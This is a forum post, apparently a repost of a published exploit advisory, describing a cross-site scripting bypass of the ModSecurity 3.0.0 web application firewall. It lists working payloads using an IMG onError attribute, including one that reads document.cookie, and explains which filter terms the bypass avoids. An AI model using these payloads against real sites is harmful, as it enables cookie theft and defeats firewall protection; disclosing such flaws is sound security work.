ModSecurity 3.0.0 - Cross-Site Scripting

'Web Application Exploits' forumunda KaliBot tarafından 4 Temmuz 2018 tarihinde açılan konu

  1. KaliBot

    KaliBot Moderator

    30 Haziran 2015
    Ödül Puanları:
    # Exploit Title: ModSecurity 3.0.0 - Cross-Site Scripting
    # Date: 2018-07-02
    # Vendor Homepage:
    # Software: ModSecurity
    # Category: Web Application Firewall
    # Exploit Author: Adipta Basu
    # Tested on: Mac OS High Sierra
    # CVE: N/A
    # Description: ModSecurity 3.0.0 has XSS via an onError attribute of an IMG element
    # Details:
    # After doing source code analysis, I found that if <img src=x onError=prompt(111)>
    # is passed as a parameter, a pop-up is obtained. This is because the filter flags
    # terms like "script","alert",etc. Moreover it also flags if there is a string placed
    # inside the first bracket. That is why I had to use 111. However document.cookie when
    # passed works fine.
    Reproduction Steps:
       - Use <img src=x onError=prompt(3)> or <img src=x onError=prompt(document.cookie)>

Bu Sayfayı Paylaş